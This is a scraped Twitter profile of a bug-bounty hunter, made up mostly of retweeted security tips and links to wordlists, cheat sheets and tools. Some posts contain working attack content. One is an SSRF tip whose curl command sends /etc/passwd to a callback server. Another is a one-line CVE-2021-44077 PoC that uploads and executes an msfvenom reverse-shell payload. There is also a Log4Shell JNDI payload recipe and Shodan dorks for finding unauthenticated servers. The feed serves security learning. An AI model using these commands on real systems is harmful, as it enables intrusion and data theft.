Dipam (@virtusleo_) header
Dipam (@virtusleo_) profile picture

Dipam

@virtusleo_

Cyber security☣️ Marathoner🏃

Joined February 2020
  • Tweets340
  • Following115
  • Followers164
12Media
Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)
After working for a long time, finally got my first Hall of Fame🏆 and bounty💸...Thank you everyone for love, support and guidance ❤️🙏 #bugbountytips #bugbounty #hacking
Image from Dipam (@virtusleo_)
1
6
check this out ✌🏼
Anton (@therceman) profile pictureAnton
@therceman13 Jan 2023
Bug Bounty Hint List of line terminators. Can be used for XSS / CRLF injection. 🔹LF: %0A (\u000A) 🔹VT: %0B (\u000B) 🔹FF: %0C (\u000C) 🔹CR: %0D (\u000D) 🔹CR+LF: %0D%0A (\u000D\u000A) 🔹NEL: %C2%85 (\u0085) 🔹LS: %E2%80%A8 (\u2028) 🔹PS: %E2%80%A9 (\u2029) Happy Hunting!
1
111
Nice one @rootxyash Check out this thread...
Yash Devkate 🇮🇳 (@rootxyash) profile pictureYash Devkate 🇮🇳@rootxyash17 Jan 2022
A thread for those people who want to do Bug Bounty using Android/mobile like me :) Retweet and help others <3
1
1
SSRF to RCE # Testing `whoami`.collab-url # Reading internal files `curl -F '@/etc/passwd' callback.server`.collab-url # Writing files `echo test | tee /tmp/test`.collab-url `curl -F '@/tmp/test' callback.server`.collab-url #bugbounty #bugbountytips thehackerish.com/bug-bounty-…
13
1
24
My 2022 : 1. Health 💪🏽 2. Family 👨‍👩‍👦‍👦 3. Knowledge 💻 4. Wealth 💵 5. Giving Back ❣️ Happy New Year everyone 🥳 #NewYear2022 #NewYear #NewYearsResolution #holidayseason #2022Goals #2022NewYear
One of the best cheatsheet I got ❤️ Thanks @therceman #log4j #log4jRCE #log4jshell #hacking #cybersecurity #Hackers #CyberAttack #SecurityBreach
Image from Dipam (@virtusleo_)
8
431
10
1,179
How to test your apps for #log4shell vulnerability 1. Generate a DNS token canarytokens.org/generate# 2. Wrap that token in Prefix: ${jndi:ldap:// Suffix: /a} 3. Use that value in search forms, profile data, settings etc. of your apps 4. Get notified when you triggered a reaction
Image from Florian Roth ⚡️ (@cyb3rops)
Image from Florian Roth ⚡️ (@cyb3rops)
Image from Florian Roth ⚡️ (@cyb3rops)
37
1,212
56
3,150
Find log4rce with difference cases on domains & subdomains. ==> Pastebin:pastebin.com/dycVXbL2 #log4jRCE @ADITYASHENDE17 @Assass1nmarcos @Alra3ees @rootxharsh @D0rkerDevil
Image from Tarun mahour (@sratarun)
4
105
4
279
I've added Log4Shell detection to ActiveScan++. Grab v1.0.23 from here: github.com/PortSwigger/activ…
7
280
3
879
PoC for CVE-2021-44077 fits in one line/tweet.
wvu (@wvuuuuuuuuuuuuu) profile picturewvu@wvuuuuuuuuuuuuu8 Dec 2021
Replying to @wvuuuuuuuuuuuuu
PoC: ./msfvenom -p windows/x64/shell_reverse_tcp -f exe lhost=172.16.57.1 | curl -v http://172.16.57.210:8080/RestAPI/ImportTechnicians -F step=hax -F "theFile=@-;filename=msiexec.exe" -: -m 3.5 http://172.16.57.210:8080/RestAPI/s247action -d execute=s247AgentInstallationProcess
23
41
The best article for SQL INJECTION WAF bypass. securityidiots.com/Web-Pente… #bugbountytip
7
75
177
Recon Methods:- Part 1:- redsiege.com/blog/2020/02/re… Part 2:- redsiege.com/blog/2020/02/re… Part 3:- redsiege.com/blog/2020/02/re… Part 4:- redsiege.com/blog/2020/04/re… Part 5:- redsiege.com/blog/2020/04/re…
4
159
289
Bug-Bounty-Wordlists: A repository that includes all the important wordlists used while bug hunting. github.com/Karanxa/Bug-Bount…
GitHub - Karanxa/Bug-Bounty-Wordlists: A repository that includes all the important wordlists used...

GitHub - Karanxa/Bug-Bounty-Wordlists: A repository that includes all the important wordlists used...

A repository that includes all the important wordlists used while bug hunting. - Karanxa/Bug-Bounty-Wordlists

github.com
2
131
1
301
OSINT-Tools :- CC @0xElkot github.com/digitaldisarray/O… github.com/jivoi/awesome-osi… github.com/topics/osint-tool github.com/topics/osint github.com/topics/osint-tool…
GitHub - digitaldisarray/OSINT-Tools: :eyes: Some of my favorite OSINT tools.

GitHub - digitaldisarray/OSINT-Tools: :eyes: Some of my favorite OSINT tools.

:eyes: Some of my favorite OSINT tools. Contribute to digitaldisarray/OSINT-Tools development by creating an account on GitHub.

github.com
37
84
Deep subdomain Enumuration using dnsgen,purends,assesfinder dnsgen: github.com/ProjectAnte/dnsge… puredns: github.com/d3mondev/puredns assestfinder: github.com/tomnomnom/assetfi… @Alra3ees @ADITYASHENDE17 @Assass1nmarcos
Image from Tarun mahour (@sratarun)
2
119
1
244
All you need for Bug-bounty:- Tools,cheat Sheet,checklist. awesomeopensource.com/projec…
2
89
215
Web Attack Cheat Sheet github.com/riramar/Web-Attac… #bugbountytips #bugbounty #infosec
GitHub - riramar/Web-Attack-Cheat-Sheet: Web Attack Cheat Sheet

GitHub - riramar/Web-Attack-Cheat-Sheet: Web Attack Cheat Sheet

Web Attack Cheat Sheet. Contribute to riramar/Web-Attack-Cheat-Sheet development by creating an account on GitHub.

github.com
4
111
1
274
Thanks @sh1yo_ for this amazing tool 🔥 Hidden parameters discovery suite github.com/Sh1Yo/x8 #bugbountytips
GitHub - Sh1Yo/x8: Hidden parameters discovery suite

GitHub - Sh1Yo/x8: Hidden parameters discovery suite

Hidden parameters discovery suite. Contribute to Sh1Yo/x8 development by creating an account on GitHub.

github.com
2
117
287
I have checked every single page of this repo Real world scenarios with proper reference Must give it a look and support author @daffainfo for his excellent work #bugbountytips #infosec #cybersecurity github.com/daffainfo/AllAbou…
GitHub - daffainfo/AllAboutBugBounty: All about bug bounty (bypasses, payloads, and etc)

GitHub - daffainfo/AllAboutBugBounty: All about bug bounty (bypasses, payloads, and etc)

All about bug bounty (bypasses, payloads, and etc) - daffainfo/AllAboutBugBounty

github.com
9
269
4
584
SHODAN Dorks (Part-1) -> "MongoDB Server Information" port:27017 -authentication -> "220" "230 Login successful." port:21 -> x-jenkins 200 -> port:23 console gateway -> http.html:"* The wp-config.php creation script uses this file" -> NCR Port:"161" #bugbountytips #dorks
2
151
2
420
Load more